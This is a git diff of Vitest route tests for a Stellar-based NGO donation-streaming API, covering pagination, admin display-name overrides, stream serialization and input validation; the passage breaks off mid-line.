+ + it('handles limit of 1 and paginates correctly', async () => { + const app = buildServer(); + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('Q'), name: 'Single Limit NGO', verified: true }, + }); + const donors = await Promise.all( + ['R', 'S'].map((char) => prisma.donor.create({ data: { address: fakeAddress(char) } })), + ); + + await prisma.stream.createMany({ + data: [ + { + onChainId: 16n, + donorId: donors[0].id, + ngoId: ngo.id, + tokenAddress: fakeAddress('T'), + rate: '1', + balance: '50', + withdrawn: '0', + status: 'ACTIVE', + }, + { + onChainId: 17n, + donorId: donors[1].id, + ngoId: ngo.id, + tokenAddress: fakeAddress('T'), + rate: '1', + balance: '75', + withdrawn: '0', + status: 'ACTIVE', + }, + ], + }); + + const first = await app.inject({ method: 'GET', url: `/v1/ngos/${ngo.id}/donors?limit=1` }); + expect(first.statusCode).toBe(200); + const firstBody = first.json(); + expect(firstBody.donors).toHaveLength(1); + expect(firstBody.nextCursor).not.toBeNull(); + + const second = await app.inject({ + method: 'GET', + url: `/v1/ngos/${ngo.id}/donors?limit=1&cursor=${firstBody.nextCursor}`, + }); + expect(second.statusCode).toBe(200); + const secondBody = second.json(); + expect(secondBody.donors).toHaveLength(1); + expect(secondBody.nextCursor).toBeNull(); + + await app.close(); + }); + + it('returns null nextCursor on the last page', async () => { + const app = buildServer(); + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('U'), name: 'Last Page NGO', verified: true }, + }); + const donor = await prisma.donor.create({ data: { address: fakeAddress('V') } }); + await prisma.stream.create({ + data: { + onChainId: 18n, + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('W'), + rate: '1', + balance: '200', + withdrawn: '50', + status: 'ACTIVE', + }, + }); + + const response = await app.inject({ + method: 'GET', + url: `/v1/ngos/${ngo.id}/donors?limit=10`, + }); + + expect(response.statusCode).toBe(200); + const body = response.json(); + expect(body.donors).toHaveLength(1); + expect(body.nextCursor).toBeNull(); + + await app.close(); + }); + + it('returns empty list with null nextCursor for an NGO with no donors', async () => { + const app = buildServer(); + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('X'), name: 'No Donors NGO', verified: true }, + }); + + const response = await app.inject({ + method: 'GET', + url: `/v1/ngos/${ngo.id}/donors`, + }); + + expect(response.statusCode).toBe(200); + const body = response.json(); + expect(body.donors).toEqual([]); + expect(body.nextCursor).toBeNull(); + + await app.close(); + }); +}); + + +describe('PATCH /admin/ngos/:id', () => { + beforeAll(() => { + process.env.ADMIN_ADDRESS = adminKeypair.publicKey(); + }); + + afterEach(async () => { + await resetDb(); + }); + + it('requires admin auth and rejects an unsigned request with 401', async () => { + const app = buildServer(); + + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('A'), name: 'Green Earth', verified: true }, + }); + + const response = await app.inject({ + method: 'PATCH', + url: `/admin/ngos/${ngo.id}`, + payload: { displayName: 'Updated Name' }, + }); + + expect(response.statusCode).toBe(401); + + await app.close(); + }); + + it('returns 404 for an unknown NGO id', async () => { + const app = buildServer(); + + const unknownId = '00000000-0000-0000-0000-000000000000'; + const url = `/admin/ngos/${unknownId}`; + const headers = signAdminRequest(adminKeypair, 'PATCH', url); + + const response = await app.inject({ + method: 'PATCH', + url, + headers, + payload: { displayName: 'Updated Name' }, + }); + + expect(response.statusCode).toBe(404); + expect(response.json()).toEqual({ error: 'not_found' }); + + await app.close(); + }); + + it('returns 400 for a malformed (non-UUID) id', async () => { + const app = buildServer(); + + const url = '/admin/ngos/not-a-valid-uuid'; + const headers = signAdminRequest(adminKeypair, 'PATCH', url); + + const response = await app.inject({ + method: 'PATCH', + url, + headers, + payload: { displayName: 'Updated Name' }, + }); + + expect(response.statusCode).toBe(400); + expect(response.json()).toEqual({ error: 'invalid_request' }); + + await app.close(); + }); + + it('applies a displayName override to an NGO', async () => { + const app = buildServer(); + + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('B'), name: 'Original Name', verified: true }, + }); + + const url = `/admin/ngos/${ngo.id}`; + const headers = signAdminRequest(adminKeypair, 'PATCH', url); + + const response = await app.inject({ + method: 'PATCH', + url, + headers, + payload: { displayName: 'Curated Public Name' }, + }); + + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.id).toBe(ngo.id); + expect(body.name).toBe('Curated Public Name'); + expect(body.displayName).toBe('Curated Public Name'); + + // Verify it was persisted + const updated = await prisma.ngo.findUnique({ where: { id: ngo.id } }); + expect(updated?.displayName).toBe('Curated Public Name'); + expect(updated?.name).toBe('Original Name'); // Original name unchanged + + await app.close(); + }); + + it('clears a displayName override when set to null', async () => { + const app = buildServer(); + + const ngo = await prisma.ngo.create({ + data: { + ownerAddress: fakeAddress('C'), + name: 'Original Name', + displayName: 'Previous Override', + verified: true, + }, + }); + + const url = `/admin/ngos/${ngo.id}`; + const headers = signAdminRequest(adminKeypair, 'PATCH', url); + + const response = await app.inject({ + method: 'PATCH', + url, + headers, + payload: { displayName: null }, + }); + + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.id).toBe(ngo.id); + expect(body.name).toBe('Original Name'); // Falls back to original name + expect(body.displayName).toBeNull(); + + // Verify it was persisted + const updated = await prisma.ngo.findUnique({ where: { id: ngo.id } }); + expect(updated?.displayName).toBeNull(); + expect(updated?.name).toBe('Original Name'); + + await app.close(); + }); + + it('returns 400 for an invalid request body', async () => { + const app = buildServer(); + + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('D'), name: 'Test NGO', verified: true }, + }); + + const url = `/admin/ngos/${ngo.id}`; + const headers = signAdminRequest(adminKeypair, 'PATCH', url); + + const response = await app.inject({ + method: 'PATCH', + url, + headers, + payload: { displayName: 123 }, // Invalid: should be string or null + }); + + expect(response.statusCode).toBe(400); + expect(response.json().error).toBe('invalid_request'); + + await app.close(); + }); +}); diff --git a/test/routes/serializeStream.test.ts b/test/routes/serializeStream.test.ts index e345f93..37f8629 100644 --- a/test/routes/serializeStream.test.ts +++ b/test/routes/serializeStream.test.ts @@ -1,68 +1,68 @@ -import { describe, expect, it } from 'vitest'; - -import { serializeStream } from '../../src/routes/streams.js'; - -describe('serializeStream', () => { - it('converts onChainId from BigInt to its string representation', () => { - const result = serializeStream({ - onChainId: 9007199254740993n, // larger than Number.MAX_SAFE_INTEGER to prove no precision loss - ngo: { name: 'Red Cross' }, - }); - - expect(result.onChainId).toBe('9007199254740993'); - expect(typeof result.onChainId).toBe('string'); - }); - - it('leaves all other fields intact', () => { - const input = { - id: 'abc-123', - onChainId: 1n, - donorId: 'donor-uuid', - ngoId: 'ngo-uuid', - tokenAddress: 'GABC', - rate: '10', - balance: '1000', - withdrawn: '0', - status: 'ACTIVE' as const, - createdAt: new Date('2024-01-15T12:00:00.000Z'), - updatedAt: new Date('2024-01-15T12:00:00.000Z'), - ngo: { id: 'ngo-uuid', name: 'Doctors Without Borders', ownerAddress: 'GXYZ' }, - }; - - const result = serializeStream(input); - - expect(result.id).toBe(input.id); - expect(result.donorId).toBe(input.donorId); - expect(result.ngoId).toBe(input.ngoId); - expect(result.tokenAddress).toBe(input.tokenAddress); - expect(result.rate).toBe(input.rate); - expect(result.balance).toBe(input.balance); - expect(result.withdrawn).toBe(input.withdrawn); - expect(result.status).toBe(input.status); - expect(result.createdAt).toBe(input.createdAt); - expect(result.updatedAt).toBe(input.updatedAt); - }); - - it('passes ngo fields through and sets registered: true when name is non-empty', () => { - const result = serializeStream({ - onChainId: 1n, - ngo: { id: 'ngo-uuid', name: 'Red Cross', ownerAddress: 'GABC' }, - }); - - expect(result.ngo.name).toBe('Red Cross'); - expect(result.ngo.registered).toBe(true); - // other ngo fields are preserved - expect((result.ngo as { id?: string }).id).toBe('ngo-uuid'); - expect((result.ngo as { ownerAddress?: string }).ownerAddress).toBe('GABC'); - }); - - it('sets ngo.name to null and registered: false when name is an empty string (placeholder NGO)', () => { - const result = serializeStream({ - onChainId: 2n, - ngo: { name: '' }, - }); - - expect(result.ngo.name).toBeNull(); - expect(result.ngo.registered).toBe(false); - }); -}); +import { describe, expect, it } from 'vitest'; + +import { serializeStream } from '../../src/routes/streams.js'; + +describe('serializeStream', () => { + it('converts onChainId from BigInt to its string representation', () => { + const result = serializeStream({ + onChainId: 9007199254740993n, // larger than Number.MAX_SAFE_INTEGER to prove no precision loss + ngo: { name: 'Red Cross' }, + }); + + expect(result.onChainId).toBe('9007199254740993'); + expect(typeof result.onChainId).toBe('string'); + }); + + it('leaves all other fields intact', () => { + const input = { + id: 'abc-123', + onChainId: 1n, + donorId: 'donor-uuid', + ngoId: 'ngo-uuid', + tokenAddress: 'GABC', + rate: '10', + balance: '1000', + withdrawn: '0', + status: 'ACTIVE' as const, + createdAt: new Date('2024-01-15T12:00:00.000Z'), + updatedAt: new Date('2024-01-15T12:00:00.000Z'), + ngo: { id: 'ngo-uuid', name: 'Doctors Without Borders', ownerAddress: 'GXYZ' }, + }; + + const result = serializeStream(input); + + expect(result.id).toBe(input.id); + expect(result.donorId).toBe(input.donorId); + expect(result.ngoId).toBe(input.ngoId); + expect(result.tokenAddress).toBe(input.tokenAddress); + expect(result.rate).toBe(input.rate); + expect(result.balance).toBe(input.balance); + expect(result.withdrawn).toBe(input.withdrawn); + expect(result.status).toBe(input.status); + expect(result.createdAt).toBe(input.createdAt); + expect(result.updatedAt).toBe(input.updatedAt); + }); + + it('passes ngo fields through and sets registered: true when name is non-empty', () => { + const result = serializeStream({ + onChainId: 1n, + ngo: { id: 'ngo-uuid', name: 'Red Cross', ownerAddress: 'GABC' }, + }); + + expect(result.ngo.name).toBe('Red Cross'); + expect(result.ngo.registered).toBe(true); + // other ngo fields are preserved + expect((result.ngo as { id?: string }).id).toBe('ngo-uuid'); + expect((result.ngo as { ownerAddress?: string }).ownerAddress).toBe('GABC'); + }); + + it('sets ngo.name to null and registered: false when name is an empty string (placeholder NGO)', () => { + const result = serializeStream({ + onChainId: 2n, + ngo: { name: '' }, + }); + + expect(result.ngo.name).toBeNull(); + expect(result.ngo.registered).toBe(false); + }); +}); diff --git a/test/routes/streams.test.ts b/test/routes/streams.test.ts index cf483b1..13330b2 100644 --- a/test/routes/streams.test.ts +++ b/test/routes/streams.test.ts @@ -1,910 +1,910 @@ -import { StrKey } from '@stellar/stellar-sdk'; -import { afterEach, describe, expect, it } from 'vitest'; - -import { prisma } from '../../src/db.js'; -import { buildServer } from '../../src/server.js'; -import { fakeAddress, fakeContractAddress, resetDb } from '../helpers/db.js'; - -describe('GET /v1/streams', () => { - afterEach(async () => { - await resetDb(); - }); - - it('filters by donor address', async () => { - const app = buildServer(); - - const donorA = await prisma.donor.create({ data: { address: fakeAddress('A') } }); - const donorB = await prisma.donor.create({ data: { address: fakeAddress('B') } }); - const ngo = await prisma.ngo.create({ - data: { - ownerAddress: fakeAddress('C'), - name: 'NGO', - displayName: 'Public NGO Name', - verified: true, - }, - }); - - await prisma.stream.create({ - data: { - onChainId: 1n, - donorId: donorA.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('D'), - rate: '1', - balance: '100', - withdrawn: '0', - }, - }); - await prisma.stream.create({ - data: { - onChainId: 2n, - donorId: donorB.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('D'), - rate: '1', - balance: '200', - withdrawn: '0', - }, - }); - - const response = await app.inject({ - method: 'GET', - url: `/v1/streams?donor=${donorA.address}`, - }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.streams).toHaveLength(1); - expect(body.streams[0].onChainId).toBe('1'); - expect(body.streams[0].ngo.name).toBe('Public NGO Name'); - // Serialized as a string — the route must never hand back a raw BigInt. - expect(typeof body.streams[0].onChainId).toBe('string'); - expect(body.hasMore).toBe(false); - - await app.close(); - }); - - it('400s on a malformed donor address instead of matching nothing silently', async () => { - const app = buildServer(); - - const response = await app.inject({ method: 'GET', url: '/v1/streams?donor=not-an-address' }); - expect(response.statusCode).toBe(400); - - await app.close(); - }); - - it('400s on a malformed ngo id', async () => { - const app = buildServer(); - - const response = await app.inject({ method: 'GET', url: '/v1/streams?ngo=not-a-uuid' }); - expect(response.statusCode).toBe(400); - - await app.close(); - }); - - it('filters by token contract address', async () => { - const app = buildServer(); - - const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('B'), name: 'NGO', verified: true }, - }); - const targetToken = fakeContractAddress('C'); - - await prisma.stream.createMany({ - data: [ - { - onChainId: 1n, - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: targetToken, - rate: '1', - balance: '100', - withdrawn: '0', - }, - { - onChainId: 2n, - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeContractAddress('D'), - rate: '1', - balance: '200', - withdrawn: '0', - }, - ], - }); - - const response = await app.inject({ method: 'GET', url: `/v1/streams?token=${targetToken}` }); - - expect(response.statusCode).toBe(200); - expect( - response.json().streams.map((stream: { onChainId: string }) => stream.onChainId), - ).toEqual(['1']); - - await app.close(); - }); - - it('400s on a malformed token contract address', async () => { - const app = buildServer(); - - const response = await app.inject({ method: 'GET', url: '/v1/streams?token=not-a-contract' }); - - expect(response.statusCode).toBe(400); - await app.close(); - }); - - it('rejects a token with a valid shape but a bad checksum', async () => { - const app = buildServer(); - const valid = fakeContractAddress('D'); - // Same length and alphabet as a contract address, so a pattern check alone - // would accept it; only the checksum differs. - const corrupted = valid.slice(0, -1) + (valid.endsWith('A') ? 'B' : 'A'); - expect(corrupted).toMatch(/^C[A-Z2-7]{55}$/); - expect(StrKey.isValidContract(corrupted)).toBe(false); - - const response = await app.inject({ method: 'GET', url: `/v1/streams?token=${corrupted}` }); - - expect(response.statusCode).toBe(400); - expect(response.json().error).toBe('invalid_request'); - expect(response.json().details.fieldErrors.token).toBeDefined(); - - await app.close(); - }); - - it('accepts a checksum-valid contract address for token', async () => { - const app = buildServer(); - - const response = await app.inject({ - method: 'GET', - url: `/v1/streams?token=${fakeContractAddress('D')}`, - }); - - expect(response.statusCode).toBe(200); - - await app.close(); - }); - - it('returns the same error body shape for every invalid query parameter', async () => { - const app = buildServer(); - const valid = fakeContractAddress('D'); - const badChecksum = valid.slice(0, -1) + (valid.endsWith('A') ? 'B' : 'A'); - const cases: Record = { - donor: 'donor=not-an-address', - ngoAddress: 'ngoAddress=not-an-address', - ngo: 'ngo=not-a-uuid', - cursor: 'cursor=not-a-uuid', - token: 'token=not-a-contract', - tokenBadChecksum: `token=${badChecksum}`, - status: 'status=DELETED', - limitTooLarge: 'limit=101', - limitZero: 'limit=0', - limitNotANumber: 'limit=abc', - }; - - for (const [name, query] of Object.entries(cases)) { - const response = await app.inject({ method: 'GET', url: `/v1/streams?${query}` }); - const body = response.json(); - - expect(response.statusCode, name).toBe(400); - expect(body.error, name).toBe('invalid_request'); - // One validator means one body: every failure carries zod's details. - expect(Object.keys(body).sort(), name).toEqual(['details', 'error']); - expect(body.details.fieldErrors, name).toBeDefined(); - } - - await app.close(); - }); - - it('coerces a string limit and rejects values above the maximum', async () => { - const app = buildServer(); - - const donor = await prisma.donor.create({ data: { address: fakeAddress('L') } }); - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('M'), name: 'Limit NGO', verified: true }, - }); - await prisma.stream.createMany({ - data: Array.from({ length: 3 }, (_, index) => ({ - onChainId: BigInt(50 + index), - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('N'), - rate: '1', - balance: '100', - withdrawn: '0', - })), - }); - - const coerced = await app.inject({ method: 'GET', url: `/v1/streams?ngo=${ngo.id}&limit=2` }); - expect(coerced.statusCode).toBe(200); - expect(coerced.json().streams).toHaveLength(2); - expect(coerced.json().hasMore).toBe(true); - - const tooLarge = await app.inject({ - method: 'GET', - url: `/v1/streams?ngo=${ngo.id}&limit=101`, - }); - expect(tooLarge.statusCode).toBe(400); - - await app.close(); - }); - - it('pages through results with a filter applied', async () => { - const app = buildServer(); - - const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('B'), name: 'NGO', verified: true }, - }); - const otherNgo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('C'), name: 'Other NGO', verified: true }, - }); - - // Created oldest first so `createdAt desc` returns onChainId 3, 2, 1. - for (const onChainId of [1n, 2n, 3n]) { - await prisma.stream.create({ - data: { - onChainId, - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('D'), - rate: '1', - balance: '100', - withdrawn: '0', - }, - }); - } - // Belongs to a different NGO — must never show up in either page below. - await prisma.stream.create({ - data: { - onChainId: 4n, - donorId: donor.id, - ngoId: otherNgo.id, - tokenAddress: fakeAddress('D'), - rate: '1', - balance: '100', - withdrawn: '0', - }, - }); - - const firstPage = await app.inject({ - method: 'GET', - url: `/v1/streams?ngo=${ngo.id}&limit=2`, - }); - expect(firstPage.statusCode).toBe(200); - const firstBody = firstPage.json(); - expect(firstBody.streams).toHaveLength(2); - expect(firstBody.hasMore).toBe(true); - expect(firstBody.streams.map((s: { onChainId: string }) => s.onChainId)).toEqual(['3', '2']); - expect(firstBody.nextCursor).toBe(firstBody.streams[1].id); - - const secondPage = await app.inject({ - method: 'GET', - url: `/v1/streams?ngo=${ngo.id}&limit=2&cursor=${firstBody.nextCursor}`, - }); - expect(secondPage.statusCode).toBe(200); - const secondBody = secondPage.json(); - expect(secondBody.streams).toHaveLength(1); - expect(secondBody.streams[0].onChainId).toBe('1'); - expect(secondBody.hasMore).toBe(false); - expect(secondBody.nextCursor).toBeNull(); - - await app.close(); - }); - it('returns hasMore true when more than 100 matching streams exist', async () => { - const app = buildServer(); - - const donor = await prisma.donor.create({ data: { address: fakeAddress('H') } }); - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('I'), name: 'Big NGO', verified: true }, - }); - - await prisma.stream.createMany({ - data: Array.from({ length: 101 }, (_, i) => ({ - onChainId: BigInt(100 + i), - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('T'), - rate: '1', - balance: '100', - withdrawn: '0', - })), - }); - - const response = await app.inject({ method: 'GET', url: `/v1/streams?ngo=${ngo.id}` }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.streams).toHaveLength(100); - expect(body.hasMore).toBe(true); - - await app.close(); - }); - - it('filters by ngoAddress and returns only matching streams', async () => { - const app = buildServer(); - - const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('B'), name: 'Target NGO', verified: true }, - }); - const otherNgo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('C'), name: 'Other NGO', verified: true }, - }); - - await prisma.stream.create({ - data: { - onChainId: 1n, - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('D'), - rate: '1', - balance: '100', - withdrawn: '0', - }, - }); - await prisma.stream.create({ - data: { - onChainId: 2n, - donorId: donor.id, - ngoId: otherNgo.id, - tokenAddress: fakeAddress('D'), - rate: '1', - balance: '200', - withdrawn: '0', - }, - }); - - const response = await app.inject({ - method: 'GET', - url: `/v1/streams?ngoAddress=${ngo.ownerAddress}`, - }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.streams).toHaveLength(1); - expect(body.streams[0].onChainId).toBe('1'); - - await app.close(); - }); - - it('returns empty list when ngoAddress matches no NGO', async () => { - const app = buildServer(); - - const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('B'), name: 'NGO', verified: true }, - }); - - await prisma.stream.create({ - data: { - onChainId: 1n, - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('D'), - rate: '1', - balance: '100', - withdrawn: '0', - }, - }); - - const response = await app.inject({ - method: 'GET', - url: `/v1/streams?ngoAddress=${fakeAddress('Z')}`, - }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.streams).toHaveLength(0); - - await app.close(); - }); - - it('400s on a malformed ngoAddress', async () => { - const app = buildServer(); - - const response = await app.inject({ - method: 'GET', - url: '/v1/streams?ngoAddress=not-an-address', - }); - expect(response.statusCode).toBe(400); - - await app.close(); - }); - - it('filters by status combined with donor filter', async () => { - const app = buildServer(); - - const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('B'), name: 'NGO', verified: true }, - }); - - await prisma.stream.create({ - data: { - onChainId: 1n, - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('D'), - rate: '1', - balance: '100', - withdrawn: '0', - status: 'ACTIVE', - }, - }); - await prisma.stream.create({ - data: { - onChainId: 2n, - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('D'), - rate: '1', - balance: '200', - withdrawn: '0', - status: 'CANCELLED', - }, - }); - - const response = await app.inject({ - method: 'GET', - url: `/v1/streams?donor=${donor.address}&status=ACTIVE`, - }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.streams).toHaveLength(1); - expect(body.streams[0].onChainId).toBe('1'); - expect(body.streams[0].status).toBe('ACTIVE'); - - await app.close(); - }); - it('exposes lastRate for a cancelled stream via GET /v1/streams/:id', async () => { - const app = buildServer(); - - const donor = await prisma.donor.create({ data: { address: fakeAddress('M') } }); - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('N'), name: 'NGO N', verified: true }, - }); - const stream = await prisma.stream.create({ - data: { - onChainId: 99n, - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('O'), - rate: '0', - lastRate: '42', - balance: '0', - withdrawn: '0', - status: 'CANCELLED', - }, - }); - - const response = await app.inject({ method: 'GET', url: `/v1/streams/${stream.id}` }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.rate).toBe('0'); - expect(body.lastRate).toBe('42'); - expect(body.status).toBe('CANCELLED'); - - await app.close(); - }); -}); - -describe('GET /v1/streams/:id', () => { - afterEach(async () => { - await resetDb(); - }); - - it('returns a single stream', async () => { - const app = buildServer(); - - const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('B'), name: 'NGO', verified: true }, - }); - const stream = await prisma.stream.create({ - data: { - onChainId: 1n, - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('D'), - rate: '1', - balance: '100', - withdrawn: '0', - }, - }); - - const response = await app.inject({ method: 'GET', url: `/v1/streams/${stream.id}` }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.id).toBe(stream.id); - expect(body.onChainId).toBe('1'); - expect(typeof body.onChainId).toBe('string'); - - await app.close(); - }); - - it('includes createdTxHash in single stream response', async () => { - const app = buildServer(); - - const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('B'), name: 'NGO', verified: true }, - }); - const txHash = 'c4515e3bdc0897f21cc5dbec8c82cf0a936d4741cb74a8e158eb51b9fb00411a'; - const stream = await prisma.stream.create({ - data: { - onChainId: 1n, - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('D'), - rate: '1', - balance: '100', - withdrawn: '0', - createdTxHash: txHash, - }, - }); - - const response = await app.inject({ method: 'GET', url: `/v1/streams/${stream.id}` }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.createdTxHash).toBe(txHash); - - await app.close(); - }); - - it('returns null createdTxHash for legacy streams without one', async () => { - const app = buildServer(); - - const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('B'), name: 'NGO', verified: true }, - }); - const stream = await prisma.stream.create({ - data: { - onChainId: 1n, - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('D'), - rate: '1', - balance: '100', - withdrawn: '0', - }, - }); - - const response = await app.inject({ method: 'GET', url: `/v1/streams/${stream.id}` }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.createdTxHash).toBeNull(); - - await app.close(); - }); - - it('404s for an id that does not exist', async () => { - const app = buildServer(); - - const response = await app.inject({ - method: 'GET', - url: '/v1/streams/00000000-0000-0000-0000-000000000000', - }); - expect(response.statusCode).toBe(404); - - await app.close(); - }); - - it('400s for a malformed id instead of leaking a Prisma error', async () => { - const app = buildServer(); - - const response = await app.inject({ method: 'GET', url: '/v1/streams/not-a-uuid' }); - expect(response.statusCode).toBe(400); - - await app.close(); - }); - - it('returns null name and registered false for a stream to an unregistered NGO', async () => { - const app = buildServer(); - - const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); - // Placeholder NGO: name is empty, not yet registered on-chain. - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('B'), name: '', verified: false }, - }); - const stream = await prisma.stream.create({ - data: { - onChainId: 1n, - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('D'), - rate: '1', - balance: '100', - withdrawn: '0', - }, - }); - - const response = await app.inject({ method: 'GET', url: `/v1/streams/${stream.id}` }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.ngo.name).toBeNull(); - expect(body.ngo.registered).toBe(false); - // ownerAddress is still present so clients can display the wallet address if they choose. - expect(body.ngo.ownerAddress).toBe(ngo.ownerAddress); - - await app.close(); - }); -}); - -describe('GET /v1/streams/chain/:onChainId', () => { - afterEach(async () => { - await resetDb(); - }); - - it('returns a single stream by its on-chain ID', async () => { - const app = buildServer(); - - const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); - const ngo = await prisma.ngo.create({ - data: { - ownerAddress: fakeAddress('B'), - name: 'NGO', - displayName: 'Public NGO Name', - verified: true, - }, - }); - const stream = await prisma.stream.create({ - data: { - onChainId: 42n, - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('D'), - rate: '1', - balance: '100', - withdrawn: '0', - }, - }); - - const response = await app.inject({ method: 'GET', url: '/v1/streams/chain/42' }); - expect(response.statusCode).toBe(200); - expect(response.json()).toMatchObject({ - id: stream.id, - onChainId: '42', - donor: { address: donor.address }, - ngo: { id: ngo.id, name: 'Public NGO Name', registered: true }, - }); - - await app.close(); - }); - - it('404s for an on-chain ID that does not exist', async () => { - const app = buildServer(); - - const response = await app.inject({ method: 'GET', url: '/v1/streams/chain/987654321' }); - expect(response.statusCode).toBe(404); - expect(response.json()).toEqual({ error: 'not_found' }); - - await app.close(); - }); - - it('400s for a non-numeric on-chain ID', async () => { - const app = buildServer(); - - const response = await app.inject({ method: 'GET', url: '/v1/streams/chain/not-a-number' }); - expect(response.statusCode).toBe(400); - expect(response.json()).toEqual({ error: 'invalid_request' }); - - await app.close(); - }); -}); - -describe('GET /v1/streams/:id/activity', () => { - afterEach(async () => { - await resetDb(); - }); - - it("returns a stream's events newest first", async () => { - const app = buildServer(); - - const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('B'), name: 'NGO', verified: true }, - }); - const stream = await prisma.stream.create({ - data: { - onChainId: 1n, - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('D'), - rate: '1', - balance: '100', - withdrawn: '0', - }, - }); - - // Created oldest first so the response order is CANCELLED -> WITHDRAWAL -> TOP_UP. - for (const [index, type] of (['TOP_UP', 'WITHDRAWAL', 'CANCELLED'] as const).entries()) { - await prisma.streamEvent.create({ - data: { - streamId: stream.onChainId, - type, - ledger: 100, - txHash: 'aabbcc', - payload: {}, - createdAt: new Date(Date.UTC(2026, 0, 1, 0, 0, index)), - }, - }); - } - - const response = await app.inject({ - method: 'GET', - url: `/v1/streams/${stream.id}/activity`, - }); - expect(response.statusCode).toBe(200); - - const body = response.json(); - expect(body.events).toHaveLength(3); - expect(body.events.map((e: { type: string }) => e.type)).toEqual([ - 'CANCELLED', - 'WITHDRAWAL', - 'TOP_UP', - ]); - expect(body.hasMore).toBe(false); - expect(body.nextCursor).toBeNull(); - - await app.close(); - }); - - it('returns an ETag and 304 for a matching If-None-Match header', async () => { - const app = buildServer(); - const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('B'), name: 'NGO', verified: true }, - }); - const stream = await prisma.stream.create({ - data: { - onChainId: 1n, - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('D'), - rate: '1', - balance: '100', - withdrawn: '0', - }, - }); - const url = `/v1/streams/${stream.id}/activity`; - - const first = await app.inject({ method: 'GET', url }); - const etag = first.headers.etag; - expect(etag).toBeDefined(); - expect(first.headers['cache-control']).toContain('max-age=30'); - - const cached = await app.inject({ - method: 'GET', - url, - headers: { 'if-none-match': String(etag) }, - }); - expect(cached.statusCode).toBe(304); - expect(cached.body).toBe(''); - expect(cached.headers.etag).toBe(etag); - - await app.close(); - }); - - it('returns nextCursor and walks two pages using that cursor', async () => { - const app = buildServer(); - - const donor = await prisma.donor.create({ data: { address: fakeAddress('A') } }); - const ngo = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('B'), name: 'NGO', verified: true }, - }); - const stream = await prisma.stream.create({ - data: { - onChainId: 2n, - donorId: donor.id, - ngoId: ngo.id, - tokenAddress: fakeAddress('D'), - rate: '1', - balance: '100', - withdrawn: '0', - }, - }); - - // Created oldest first so newest-first order is CANCELLED, WITHDRAWAL, TOP_UP. - for (const [index, type] of (['TOP_UP', 'WITHDRAWAL', 'CANCELLED'] as const).entries()) { - await prisma.streamEvent.create({ - data: { - streamId: stream.onChainId, - type, - ledger: 100, - txHash: 'aabbcc', - payload: {}, - createdAt: new 